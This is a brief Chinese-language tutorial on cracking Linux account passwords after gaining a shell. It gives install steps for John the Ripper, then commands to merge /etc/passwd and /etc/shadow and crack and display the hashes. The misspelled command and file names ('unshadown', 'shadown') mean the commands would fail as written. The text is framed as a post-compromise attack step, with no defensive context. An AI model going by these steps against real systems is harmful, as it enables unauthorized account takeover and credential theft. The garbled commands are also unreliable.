破解Linux密码

很多时候拿到SHELL后有权限拿到/etc/passwd和/etc/shadown文件,这样有一定几率能破解系统帐户!

Debian/Ubuntu

$ sudo apt-get install john

CentOS/RHEL/Fedora/ReadHat
(Download Link)[http://dag.wieers.com/rpm/packages/john/]

$ rpm -ivh john*

Crack Passwd

$ unshadown /etc/passwd /etc/shadown > /tmp/crack.passwd.db

Crack

$ john /tmp/crack.passwd.db

Show

$ john -show /tmp/crack.passwd.db